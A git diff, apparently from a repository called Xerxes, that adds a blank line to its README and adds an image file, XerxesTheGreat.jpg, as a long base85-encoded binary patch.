changed, 1 insertion(+) create mode 100755 XerxesTheGreat.jpg diff --git a/README.md b/README.md index 745e377..3231878 100755 --- a/README.md +++ b/README.md @@ -1,3 +1,4 @@ + # Xerxes [![Build Status](https://travis-ci.org/sepehrdaddev/Xerxes.svg?branch=master)](https://travis-ci.org/sepehrdaddev/Xerxes) diff --git a/XerxesTheGreat.jpg b/XerxesTheGreat.jpg new file mode 100755 index 0000000000000000000000000000000000000000..254f1f6862c6d6248ec396f1991fcb9b9bbe95c5 GIT binary patch literal 80789 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 